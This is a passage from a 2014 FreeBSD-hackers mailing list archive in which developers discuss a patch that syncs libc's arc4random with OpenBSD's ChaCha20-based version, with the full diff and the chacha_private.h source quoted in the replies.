bytes;++i) tmp[i] = m[i]; + m = tmp; + ctarget = c; + c = tmp; + } + x0 = j0; + x1 = j1; + x2 = j2; + x3 = j3; + x4 = j4; + x5 = j5; + x6 = j6; + x7 = j7; + x8 = j8; + x9 = j9; + x10 = j10; + x11 = j11; + x12 = j12; + x13 = j13; + x14 = j14; + x15 = j15; + for (i = 20;i > 0;i -= 2) { + QUARTERROUND( x0, x4, x8,x12) + QUARTERROUND( x1, x5, x9,x13) + QUARTERROUND( x2, x6,x10,x14) + QUARTERROUND( x3, x7,x11,x15) + QUARTERROUND( x0, x5,x10,x15) + QUARTERROUND( x1, x6,x11,x12) + QUARTERROUND( x2, x7, x8,x13) + QUARTERROUND( x3, x4, x9,x14) + } + x0 = PLUS(x0,j0); + x1 = PLUS(x1,j1); + x2 = PLUS(x2,j2); + x3 = PLUS(x3,j3); + x4 = PLUS(x4,j4); + x5 = PLUS(x5,j5); + x6 = PLUS(x6,j6); + x7 = PLUS(x7,j7); + x8 = PLUS(x8,j8); + x9 = PLUS(x9,j9); + x10 = PLUS(x10,j10); + x11 = PLUS(x11,j11); + x12 = PLUS(x12,j12); + x13 = PLUS(x13,j13); + x14 = PLUS(x14,j14); + x15 = PLUS(x15,j15); + +#ifndef KEYSTREAM_ONLY + x0 = XOR(x0,U8TO32_LITTLE(m + 0)); + x1 = XOR(x1,U8TO32_LITTLE(m + 4)); + x2 = XOR(x2,U8TO32_LITTLE(m + 8)); + x3 = XOR(x3,U8TO32_LITTLE(m + 12)); + x4 = XOR(x4,U8TO32_LITTLE(m + 16)); + x5 = XOR(x5,U8TO32_LITTLE(m + 20)); + x6 = XOR(x6,U8TO32_LITTLE(m + 24)); + x7 = XOR(x7,U8TO32_LITTLE(m + 28)); + x8 = XOR(x8,U8TO32_LITTLE(m + 32)); + x9 = XOR(x9,U8TO32_LITTLE(m + 36)); + x10 = XOR(x10,U8TO32_LITTLE(m + 40)); + x11 = XOR(x11,U8TO32_LITTLE(m + 44)); + x12 = XOR(x12,U8TO32_LITTLE(m + 48)); + x13 = XOR(x13,U8TO32_LITTLE(m + 52)); + x14 = XOR(x14,U8TO32_LITTLE(m + 56)); + x15 = XOR(x15,U8TO32_LITTLE(m + 60)); +#endif + + j12 = PLUSONE(j12); + if (!j12) { + j13 = PLUSONE(j13); + /* stopping at 2^70 bytes per nonce is user's responsibility */ + } + + U32TO8_LITTLE(c + 0,x0); + U32TO8_LITTLE(c + 4,x1); + U32TO8_LITTLE(c + 8,x2); + U32TO8_LITTLE(c + 12,x3); + U32TO8_LITTLE(c + 16,x4); + U32TO8_LITTLE(c + 20,x5); + U32TO8_LITTLE(c + 24,x6); + U32TO8_LITTLE(c + 28,x7); + U32TO8_LITTLE(c + 32,x8); + U32TO8_LITTLE(c + 36,x9); + U32TO8_LITTLE(c + 40,x10); + U32TO8_LITTLE(c + 44,x11); + U32TO8_LITTLE(c + 48,x12); + U32TO8_LITTLE(c + 52,x13); + U32TO8_LITTLE(c + 56,x14); + U32TO8_LITTLE(c + 60,x15); + + if (bytes <= 64) { + if (bytes < 64) { + for (i = 0;i < bytes;++i) ctarget[i] = c[i]; + } + x->input[12] = j12; + x->input[13] = j13; + return; + } + bytes -= 64; + c += 64; +#ifndef KEYSTREAM_ONLY + m += 64; +#endif + } +} From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 02:54:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B5583969 for ; Fri, 30 May 2014 02:54:22 +0000 (UTC) Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 76F1F243C for ; Fri, 30 May 2014 02:54:22 +0000 (UTC) Received: by mail-qg0-f48.google.com with SMTP id i50so3674132qgf.35 for ; Thu, 29 May 2014 19:54:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=dNFPN/vfrsOYS+iHi6qw74szbBw6Utt08QNpoSF5IHU=; b=yT+4uMNaa+mw/aA6gn5iIpUTHe6V721i76Qiktn6I+U4XdaQMAO2C8evmvpQgZuT7L D70pAcbjWEVGQt+e0oiCRZ8rtRdD7N8TSlS/J+9CYknqXBQkVjo/DCta908XK1Rbr39Z 4WgpKTw9vF2vWCFl4e8Q27yJ8LGmmt1xQxLzpl7eRUm3V2AsKD4xyGuZjccVwePoEAES 2TknAZQOkENOkEWW+yDjmSOiJutNvNiwxxrxB5kgQMmNdO7cOdUVh01oNtTVKrlqecGN oZwVDvVCBFMx/IsNZQFs4CCYcb8y45alngdlcQektg5EjUB6O7bOObAvkPlxP0kupY/d IJKg== MIME-Version: 1.0 X-Received: by 10.224.43.148 with SMTP id w20mr16812980qae.26.1401418461503; Thu, 29 May 2014 19:54:21 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Thu, 29 May 2014 19:54:21 -0700 (PDT) In-Reply-To: References: Date: Thu, 29 May 2014 19:54:21 -0700 X-Google-Sender-Auth: VUMC-SY4PbRnJvGHmxT8TDXwGFg Message-ID: Subject: Re: switch arc4random to chacha From: Adrian Chadd To: Ted Unangst Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 02:54:22 -0000 Hi! How about running this via the security team here? Start with Mark Murray (markm@freebsd.org) I'm sure they'll at least want you to fire this up in a VM and test. :P -a On 29 May 2014 18:04, Ted Unangst wrote: > This syncs libc arc4random.c with OpenBSD, mostly to change the > implementation to ChaCha20. > > I removed the more complicated seed fetching code and changed it to > just sysctl(). A quick check revealed that the FreeBSD kernel supports > this for at least five years now. It's much simpler to use code that > always works instead of a series of untested fallbacks that are even > less likely to work. > > Also removes the addrandom interface as a useless complication. If the > kernel is incapable of properly seeding arc4random, application code > can't do any better. > > Unfortunately, I don't have any FreeBSD systems running at the moment, > so I can't make any promises that this will even compile, but it > passed the eyeball test. > > --- arc4random.c.orig Thu May 29 20:28:49 2014 > +++ arc4random.c Thu May 29 20:51:59 2014 > @@ -1,8 +1,9 @@ > -/* $OpenBSD: arc4random.c,v 1.22 2010/12/22 08:23:42 otto Exp $ */ > +/* $OpenBSD: arc4random.c,v 1.30 2014/05/06 16:06:33 tedu Exp $ */ > > /* > * Copyright (c) 1996, David Mazieres > * Copyright (c) 2008, Damien Miller > + * Copyright (c) 2013, Markus Friedl > * > * Permission to use, copy, modify, and distribute this software for any > * purpose with or without fee is hereby granted, provided that the above > @@ -18,15 +19,7 @@ > */ > > /* > - * Arc4 random number generator for OpenBSD. > - * > - * This code is derived from section 17.1 of Applied Cryptography, > - * second edition, which describes a stream cipher allegedly > - * compatible with RSA Labs "RC4" cipher (the actual description of > - * which is a trade secret). The same algorithm is used as a stream > - * cipher called "arcfour" in Tatu Ylonen's ssh package. > - * > - * RC4 is a registered trademark of RSA Laboratories. > + * ChaCha based random number generator for OpenBSD. > */ > > #include > @@ -40,28 +33,24 @@ > #include > #include > #include > +#include > #include > #include > > #include "libc_private.h" > #include "un-namespace.h" > > +#define KEYSTREAM_ONLY > +#include "chacha_private.h" > + > #ifdef __GNUC__ > #define inline __inline > #else /* !__GNUC__ */ > #define inline > #endif /* !__GNUC__ */ > > -struct arc4_stream { > - u_int8_t i; > - u_int8_t j; > - u_int8_t s[256]; > -}; > - > static pthread_mutex_t arc4random_mtx = PTHREAD_MUTEX_INITIALIZER; > > -#define RANDOMDEV "/dev/random" > -#define KEYSIZE 128 > #define _ARC4_LOCK() \ > do { \ > if (__isthreaded) \ > @@ -74,187 +63,149 @@ > _pthread_mutex_unlock(&arc4random_mtx); \ > } while (0) > > +#define KEYSZ 32 > +#define IVSZ 8 > +#define BLOCKSZ 64 > +#define RSBUFSZ (16*BLOCKSZ) > static int rs_initialized; > -static struct arc4_stream rs; > -static pid_t arc4_stir_pid; > -static int arc4_count; > +static pid_t rs_stir_pid; > +static chacha_ctx *rs; /* chacha context for random keystream */ > +static u_char *rs_buf; /* keystream blocks */ > +static size_t rs_have; /* valid bytes at end of rs_buf */ > +static size_t rs_count; /* bytes till reseed */ > > +static inline void _rs_rekey(u_char *dat, size_t datlen); > + > extern int __sysctl(int *name, u_int namelen, void *oldp, size_t *oldlenp, > void *newp, size_t newlen); > > -static inline u_int8_t arc4_getbyte(void); > -static void arc4_stir(void); > - > static inline void > -arc4_init(void) > +_rs_init(u_char *buf, size_t n) > { > - int n; > + if (n < KEYSZ + IVSZ) > + return; > > - for (n = 0; n < 256; n++) > - rs.s[n] = n; > - rs.i = 0; > - rs.j = 0; > -} > + if (rs == NULL && (rs = mmap(NULL, sizeof(*rs), PROT_READ|PROT_WRITE, > + MAP_ANON, -1, 0)) == MAP_FAILED) > + abort(); > + if (rs_buf == NULL && (rs_buf = mmap(NULL, RSBUFSZ, PROT_READ|PROT_WRITE, > + MAP_ANON, -1, 0)) == MAP_FAILED) > + abort(); > > -static inline void > -arc4_addrandom(u_char *dat, int datlen) > -{ > - int n; > - u_int8_t si; > - > - rs.i--; > - for (n = 0; n < 256; n++) { > - rs.i = (rs.i + 1); > - si = rs.s[rs.i]; > - rs.j = (rs.j + si + dat[n % datlen]); > - rs.s[rs.i] = rs.s[rs.j]; > - rs.s[rs.j] = si; > - } > - rs.j = rs.i; > + chacha_keysetup(rs, buf, KEYSZ * 8, 0); > + chacha_ivsetup(rs, buf + KEYSZ); > } > > -static size_t > -arc4_sysctl(u_char *buf, size_t size) > +static void > +_rs_stir(void) > { > - int mib[2]; > - size_t len, done; > + int mib[2]; > + size_t len; > + u_char rnd[KEYSZ + IVSZ]; > > mib[0] = CTL_KERN; > mib[1] = KERN_ARND; > - done = 0; > > - do { > - len = size; > - if (__sysctl(mib, 2, buf, &len, NULL, 0) == -1) > - return (done); > - done += len; > - buf += len; > - size -= len; > - } while (size > 0); > + len = sizeof(rnd); > + __sysctl(mib, 2, rnd, &len, NULL, 0); > > - return (done); > -} > - > -static void > -arc4_stir(void) > -{ > - int done, fd, i; > - struct { > - struct timeval tv; > - pid_t pid; > - u_char rnd[KEYSIZE]; > - } rdat; > - > if (!rs_initialized) { > - arc4_init(); > rs_initialized = 1; > - } > - done = 0; > - if (arc4_sysctl((u_char *)&rdat, KEYSIZE) == KEYSIZE) > - done = 1; > - if (!done) { > - fd = _open(RANDOMDEV, O_RDONLY | O_CLOEXEC, 0); > - if (fd >= 0) { > - if (_read(fd, &rdat, KEYSIZE) == KEYSIZE) > - done = 1; > - (void)_close(fd); > - } > - } > - if (!done) { > - (void)gettimeofday(&rdat.tv, NULL); > - rdat.pid = getpid(); > - /* We'll just take whatever was on the stack too... */ > - } > + _rs_init(rnd, sizeof(rnd)); > + } else > + _rs_rekey(rnd, sizeof(rnd)); > + bzero(rnd, sizeof(rnd)); /* explicit_bzero */ > > - arc4_addrandom((u_char *)&rdat, KEYSIZE); > + /* invalidate rs_buf */ > + rs_have = 0; > + memset(rs_buf, 0, RSBUFSZ); > > - /* > - * Discard early keystream, as per recommendations in: > - * "(Not So) Random Shuffles of RC4" by Ilya Mironov. > - */ > - for (i = 0; i < 1024; i++) > - (void)arc4_getbyte(); > - arc4_count = 1600000; > + rs_count = 1600000; > } > > -static void > -arc4_stir_if_needed(void) > +static inline void > +_rs_stir_if_needed(size_t len) > { > pid_t pid = getpid(); > > - if (arc4_count <= 0 || !rs_initialized || arc4_stir_pid != pid) > - { > - arc4_stir_pid = pid; > - arc4_stir(); > - } > + if (rs_count <= len || !rs_initialized || rs_stir_pid != pid) { > + rs_stir_pid = pid; > + _rs_stir(); > + } else > + rs_count -= len; > } > > -static inline u_int8_t > -arc4_getbyte(void) > +static inline void > +_rs_rekey(u_char *dat, size_t datlen) > { > - u_int8_t si, sj; > +#ifndef KEYSTREAM_ONLY > + memset(rs_buf, 0,RSBUFSZ); > +#endif > + /* fill rs_buf with the keystream */ > + chacha_encrypt_bytes(rs, rs_buf, rs_buf, RSBUFSZ); > + /* mix in optional user provided data */ > + if (dat) { > + size_t i, m; > > - rs.i = (rs.i + 1); > - si = rs.s[rs.i]; > - rs.j = (rs.j + si); > - sj = rs.s[rs.j]; > - rs.s[rs.i] = sj; > - rs.s[rs.j] = si; > - return (rs.s[(si + sj) & 0xff]); > + m = MIN(datlen, KEYSZ + IVSZ); > + for (i = 0; i < m; i++) > + rs_buf[i] ^= dat[i]; > + } > + /* immediately reinit for backtracking resistance */ > + _rs_init(rs_buf, KEYSZ + IVSZ); > + memset(rs_buf, 0, KEYSZ + IVSZ); > + rs_have = RSBUFSZ - KEYSZ - IVSZ; > } > > -static inline u_int32_t > -arc4_getword(void) > +static inline void > +_rs_random_buf(void *_buf, size_t n) > { > - u_int32_t val; > - val = arc4_getbyte() << 24; > - val |= arc4_getbyte() << 16; > - val |= arc4_getbyte() << 8; > - val |= arc4_getbyte(); > - return val; > -} > + u_char *buf = (u_char *)_buf; > + size_t m; > > -void > -arc4random_stir(void) > -{ > - _ARC4_LOCK(); > - arc4_stir(); > - _ARC4_UNLOCK(); > + _rs_stir_if_needed(n); > + while (n > 0) { > + if (rs_have > 0) { > + m = MIN(n, rs_have); > + memcpy(buf, rs_buf + RSBUFSZ - rs_have, m); > + memset(rs_buf + RSBUFSZ - rs_have, 0, m); > + buf += m; > + n -= m; > + rs_have -= m; > + } > + if (rs_have == 0) > + _rs_rekey(NULL, 0); > + } > } > > -void > -arc4random_addrandom(u_char *dat, int datlen) > +static inline void > +_rs_random_u32(u_int32_t *val) > { > - _ARC4_LOCK(); > - if (!rs_initialized) > - arc4_stir(); > - arc4_addrandom(dat, datlen); > - _ARC4_UNLOCK(); > + _rs_stir_if_needed(sizeof(*val)); > + if (rs_have < sizeof(*val)) > + _rs_rekey(NULL, 0); > + memcpy(val, rs_buf + RSBUFSZ - rs_have, sizeof(*val)); > + memset(rs_buf + RSBUFSZ - rs_have, 0, sizeof(*val)); > + rs_have -= sizeof(*val); > + return; > } > > u_int32_t > arc4random(void) > { > u_int32_t val; > + > _ARC4_LOCK(); > - arc4_count -= 4; > - arc4_stir_if_needed(); > - val = arc4_getword(); > + _rs_random_u32(&val); > _ARC4_UNLOCK(); > return val; > } > > void > -arc4random_buf(void *_buf, size_t n) > +arc4random_buf(void *buf, size_t n) > { > - u_char *buf = (u_char *)_buf; > _ARC4_LOCK(); > - arc4_stir_if_needed(); > - while (n--) { > - if (--arc4_count <= 0) > - arc4_stir(); > - buf[n] = arc4_getbyte(); > - } > + _rs_random_buf(buf, n); > _ARC4_UNLOCK(); > } > > @@ -276,17 +227,8 @@ > if (upper_bound < 2) > return 0; > > -#if (ULONG_MAX > 0xffffffffUL) > - min = 0x100000000UL % upper_bound; > -#else > - /* Calculate (2**32 % upper_bound) avoiding 64-bit math */ > - if (upper_bound > 0x80000000) > - min = 1 + ~upper_bound; /* 2**32 - upper_bound */ > - else { > - /* (2**32 - (x * 2)) % x == 2**32 % x when x <= 2**31 */ > - min = ((0xffffffff - (upper_bound * 2)) + 1) % upper_bound; > - } > -#endif > + /* 2**32 % x == (2**32 - x) % x */ > + min = -upper_bound % upper_bound; > > /* > * This could theoretically loop forever but each retry has > @@ -302,24 +244,3 @@ > > return r % upper_bound; > } > - > -#if 0 > -/*-------- Test code for i386 --------*/ > -#include > -#include > -int > -main(int argc, char **argv) > -{ > - const int iter = 1000000; > - int i; > - pctrval v; > - > - v = rdtsc(); > - for (i = 0; i < iter; i++) > - arc4random(); > - v = rdtsc() - v; > - v /= iter; > - > - printf("%qd cycles\n", v); > -} > -#endif > --- /dev/null Thu May 29 20:52:04 2014 > +++ chacha_private.h Thu May 29 20:40:54 2014 > @@ -0,0 +1,222 @@ > +/* > +chacha-merged.c version 20080118 > +D. J. Bernstein > +Public domain. > +*/ > + > +/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */ > + > +typedef unsigned char u8; > +typedef unsigned int u32; > + > +typedef struct > +{ > + u32 input[16]; /* could be compressed */ > +} chacha_ctx; > + > +#define U8C(v) (v##U) > +#define U32C(v) (v##U) > + > +#define U8V(v) ((u8)(v) & U8C(0xFF)) > +#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF)) > + > +#define ROTL32(v, n) \ > + (U32V((v) << (n)) | ((v) >> (32 - (n)))) > + > +#define U8TO32_LITTLE(p) \ > + (((u32)((p)[0]) ) | \ > + ((u32)((p)[1]) << 8) | \ > + ((u32)((p)[2]) << 16) | \ > + ((u32)((p)[3]) << 24)) > + > +#define U32TO8_LITTLE(p, v) \ > + do { \ > + (p)[0] = U8V((v) ); \ > + (p)[1] = U8V((v) >> 8); \ > + (p)[2] = U8V((v) >> 16); \ > + (p)[3] = U8V((v) >> 24); \ > + } while (0) > + > +#define ROTATE(v,c) (ROTL32(v,c)) > +#define XOR(v,w) ((v) ^ (w)) > +#define PLUS(v,w) (U32V((v) + (w))) > +#define PLUSONE(v) (PLUS((v),1)) > + > +#define QUARTERROUND(a,b,c,d) \ > + a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \ > + c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \ > + a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \ > + c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); > + > +static const char sigma[16] = "expand 32-byte k"; > +static const char tau[16] = "expand 16-byte k"; > + > +static void > +chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits) > +{ > + const char *constants; > + > + x->input[4] = U8TO32_LITTLE(k + 0); > + x->input[5] = U8TO32_LITTLE(k + 4); > + x->input[6] = U8TO32_LITTLE(k + 8); > + x->input[7] = U8TO32_LITTLE(k + 12); > + if (kbits == 256) { /* recommended */ > + k += 16; > + constants = sigma; > + } else { /* kbits == 128 */ > + constants = tau; > + } > + x->input[8] = U8TO32_LITTLE(k + 0); > + x->input[9] = U8TO32_LITTLE(k + 4); > + x->input[10] = U8TO32_LITTLE(k + 8); > + x->input[11] = U8TO32_LITTLE(k + 12); > + x->input[0] = U8TO32_LITTLE(constants + 0); > + x->input[1] = U8TO32_LITTLE(constants + 4); > + x->input[2] = U8TO32_LITTLE(constants + 8); > + x->input[3] = U8TO32_LITTLE(constants + 12); > +} > + > +static void > +chacha_ivsetup(chacha_ctx *x,const u8 *iv) > +{ > + x->input[12] = 0; > + x->input[13] = 0; > + x->input[14] = U8TO32_LITTLE(iv + 0); > + x->input[15] = U8TO32_LITTLE(iv + 4); > +} > + > +static void > +chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes) > +{ > + u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15; > + u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15; > + u8 *ctarget = NULL; > + u8 tmp[64]; > + u_int i; > + > + if (!bytes) return; > + > + j0 = x->input[0]; > + j1 = x->input[1]; > + j2 = x->input[2]; > + j3 = x->input[3]; > + j4 = x->input[4]; > + j5 = x->input[5]; > + j6 = x->input[6]; > + j7 = x->input[7]; > + j8 = x->input[8]; > + j9 = x->input[9]; > + j10 = x->input[10]; > + j11 = x->input[11]; > + j12 = x->input[12]; > + j13 = x->input[13]; > + j14 = x->input[14]; > + j15 = x->input[15]; > + > + for (;;) { > + if (bytes < 64) { > + for (i = 0;i < bytes;++i) tmp[i] = m[i]; > + m = tmp; > + ctarget = c; > + c = tmp; > + } > + x0 = j0; > + x1 = j1; > + x2 = j2; > + x3 = j3; > + x4 = j4; > + x5 = j5; > + x6 = j6; > + x7 = j7; > + x8 = j8; > + x9 = j9; > + x10 = j10; > + x11 = j11; > + x12 = j12; > + x13 = j13; > + x14 = j14; > + x15 = j15; > + for (i = 20;i > 0;i -= 2) { > + QUARTERROUND( x0, x4, x8,x12) > + QUARTERROUND( x1, x5, x9,x13) > + QUARTERROUND( x2, x6,x10,x14) > + QUARTERROUND( x3, x7,x11,x15) > + QUARTERROUND( x0, x5,x10,x15) > + QUARTERROUND( x1, x6,x11,x12) > + QUARTERROUND( x2, x7, x8,x13) > + QUARTERROUND( x3, x4, x9,x14) > + } > + x0 = PLUS(x0,j0); > + x1 = PLUS(x1,j1); > + x2 = PLUS(x2,j2); > + x3 = PLUS(x3,j3); > + x4 = PLUS(x4,j4); > + x5 = PLUS(x5,j5); > + x6 = PLUS(x6,j6); > + x7 = PLUS(x7,j7); > + x8 = PLUS(x8,j8); > + x9 = PLUS(x9,j9); > + x10 = PLUS(x10,j10); > + x11 = PLUS(x11,j11); > + x12 = PLUS(x12,j12); > + x13 = PLUS(x13,j13); > + x14 = PLUS(x14,j14); > + x15 = PLUS(x15,j15); > + > +#ifndef KEYSTREAM_ONLY > + x0 = XOR(x0,U8TO32_LITTLE(m + 0)); > + x1 = XOR(x1,U8TO32_LITTLE(m + 4)); > + x2 = XOR(x2,U8TO32_LITTLE(m + 8)); > + x3 = XOR(x3,U8TO32_LITTLE(m + 12)); > + x4 = XOR(x4,U8TO32_LITTLE(m + 16)); > + x5 = XOR(x5,U8TO32_LITTLE(m + 20)); > + x6 = XOR(x6,U8TO32_LITTLE(m + 24)); > + x7 = XOR(x7,U8TO32_LITTLE(m + 28)); > + x8 = XOR(x8,U8TO32_LITTLE(m + 32)); > + x9 = XOR(x9,U8TO32_LITTLE(m + 36)); > + x10 = XOR(x10,U8TO32_LITTLE(m + 40)); > + x11 = XOR(x11,U8TO32_LITTLE(m + 44)); > + x12 = XOR(x12,U8TO32_LITTLE(m + 48)); > + x13 = XOR(x13,U8TO32_LITTLE(m + 52)); > + x14 = XOR(x14,U8TO32_LITTLE(m + 56)); > + x15 = XOR(x15,U8TO32_LITTLE(m + 60)); > +#endif > + > + j12 = PLUSONE(j12); > + if (!j12) { > + j13 = PLUSONE(j13); > + /* stopping at 2^70 bytes per nonce is user's responsibility */ > + } > + > + U32TO8_LITTLE(c + 0,x0); > + U32TO8_LITTLE(c + 4,x1); > + U32TO8_LITTLE(c + 8,x2); > + U32TO8_LITTLE(c + 12,x3); > + U32TO8_LITTLE(c + 16,x4); > + U32TO8_LITTLE(c + 20,x5); > + U32TO8_LITTLE(c + 24,x6); > + U32TO8_LITTLE(c + 28,x7); > + U32TO8_LITTLE(c + 32,x8); > + U32TO8_LITTLE(c + 36,x9); > + U32TO8_LITTLE(c + 40,x10); > + U32TO8_LITTLE(c + 44,x11); > + U32TO8_LITTLE(c + 48,x12); > + U32TO8_LITTLE(c + 52,x13); > + U32TO8_LITTLE(c + 56,x14); > + U32TO8_LITTLE(c + 60,x15); > + > + if (bytes <= 64) { > + if (bytes < 64) { > + for (i = 0;i < bytes;++i) ctarget[i] = c[i]; > + } > + x->input[12] = j12; > + x->input[13] = j13; > + return; > + } > + bytes -= 64; > + c += 64; > +#ifndef KEYSTREAM_ONLY > + m += 64; > +#endif > + } > +} > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 04:07:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F4A7456 for ; Fri, 30 May 2014 04:07:04 +0000 (UTC) Received: from mail-qg0-x231.google.com (mail-qg0-x231.google.com [IPv6:2607:f8b0:400d:c04::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 53DB629D0 for ; Fri, 30 May 2014 04:07:04 +0000 (UTC) Received: by mail-qg0-f49.google.com with SMTP id a108so3769447qge.36 for ; Thu, 29 May 2014 21:07:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=Q5v8Iw4bEXAs86IBSW43iZCbplcgzn0qQ9Vmd00DPHE=; b=AMdKJpS2sFJADuSg5WjVxF8ZFFTBN9D9AysSNPzwlw69rlukneQ89BN/wRJKPzyTUC wVRkIQFl7Psx9tYjgJMepn8xpVy6ILwMt34XlxWHsK6IZcjPf1/S5s1pn+HQQ26/j4+f KHywL3hYUc2DLi0j60V/sBL+JxAtyjGGq5vKY= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=Q5v8Iw4bEXAs86IBSW43iZCbplcgzn0qQ9Vmd00DPHE=; b=ThGmen+pL/6YQz9gHH87OjuWeeYZHVZZpiB7Vt3C8EEEaDFExY9tCP6FefwyZ17W87 wcALmsS+kRA7Z62M2XlQxpPbCrnBl2pMDDc5lj3+YB/C5lmpBwCxlB6WmzWHmyD6M3K3 TwsvVfRZfTVb883Vu38yT+hPXw/ikpcFP7ocT2ofxlS2+YSo4xPuECY2TPM8D3+5dVxc 4naAUXGsO+yKCIFo1AlcpQauh4kP8YwrBkEaIOBJvheHqdI43DEuSSmPVy8u2mZW/w3Y BKr7iMv2Voy/0E7mYLJeZdbv/3+GbAoXDs6Fo4lw+YAKikR1OEthf4/IsvVFDJ2c9xex XMhQ== X-Gm-Message-State: ALoCoQmHamipDC/lZYLL2Q7fo7LPBzPtzV2EpAN/R6BGlmhjygG0BqEzHDIuzaB0j5cAPNJtZk9t X-Received: by 10.140.87.5 with SMTP id q5mr16129413qgd.43.1401422823289; Thu, 29 May 2014 21:07:03 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.147.135 with HTTP; Thu, 29 May 2014 21:06:33 -0700 (PDT) In-Reply-To: References: From: Eitan Adler Date: Thu, 29 May 2014 21:06:33 -0700 Message-ID: Subject: Re: switch arc4random to chacha To: Adrian Chadd , Mark Murray Content-Type: text/plain; charset=UTF-8 Cc: Ted Unangst , FreeBSD Security Team , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 04:07:04 -0000 +markm, +secteam Thanks for the patch,. Keeping this code in sync is certainly a worthwhile goal. On 29 May 2014 19:54, Adrian Chadd wrote: > Hi! > > How about running this via the security team here? He started that process, but mailing a a patch to the mailing list > Start with Mark Murray (markm@freebsd.org) I think you mean "keep it on a mailing list, but lets CC someone so it catches their eye". Mark any thoughts? > I'm sure they'll at least want you to fire this up in a VM and test. :P :) > > On 29 May 2014 18:04, Ted Unangst wrote: >> This syncs libc arc4random.c with OpenBSD, mostly to change the >> implementation to ChaCha20. >> >> I removed the more complicated seed fetching code and changed it to >> just sysctl(). A quick check revealed that the FreeBSD kernel supports >> this for at least five years now. It's much simpler to use code that >> always works instead of a series of untested fallbacks that are even >> less likely to work. >> >> Also removes the addrandom interface as a useless complication. If the >> kernel is incapable of properly seeding arc4random, application code >> can't do any better. >> >> Unfortunately, I don't have any FreeBSD systems running at the moment, >> so I can't make any promises that this will even compile, but it >> passed the eyeball test. >> >> --- arc4random.c.orig Thu May 29 20:28:49 2014 >> +++ arc4random.c Thu May 29 20:51:59 2014 >> @@ -1,8 +1,9 @@ >> -/* $OpenBSD: arc4random.c,v 1.22 2010/12/22 08:23:42 otto Exp $ */ >> +/* $OpenBSD: arc4random.c,v 1.30 2014/05/06 16:06:33 tedu Exp $ */ >> >> /* >> * Copyright (c) 1996, David Mazieres >> * Copyright (c) 2008, Damien Miller >> + * Copyright (c) 2013, Markus Friedl >> * >> * Permission to use, copy, modify, and distribute this software for any >> * purpose with or without fee is hereby granted, provided that the above >> @@ -18,15 +19,7 @@ >> */ >> >> /* >> - * Arc4 random number generator for OpenBSD. >> - * >> - * This code is derived from section 17.1 of Applied Cryptography, >> - * second edition, which describes a stream cipher allegedly >> - * compatible with RSA Labs "RC4" cipher (the actual description of >> - * which is a trade secret). The same algorithm is used as a stream >> - * cipher called "arcfour" in Tatu Ylonen's ssh package. >> - * >> - * RC4 is a registered trademark of RSA Laboratories. >> + * ChaCha based random number generator for OpenBSD. >> */ >> >> #include >> @@ -40,28 +33,24 @@ >> #include >> #include >> #include >> +#include >> #include >> #include >> >> #include "libc_private.h" >> #include "un-namespace.h" >> >> +#define KEYSTREAM_ONLY >> +#include "chacha_private.h" >> + >> #ifdef __GNUC__ >> #define inline __inline >> #else /* !__GNUC__ */ >> #define inline >> #endif /* !__GNUC__ */ >> >> -struct arc4_stream { >> - u_int8_t i; >> - u_int8_t j; >> - u_int8_t s[256]; >> -}; >> - >> static pthread_mutex_t arc4random_mtx = PTHREAD_MUTEX_INITIALIZER; >> >> -#define 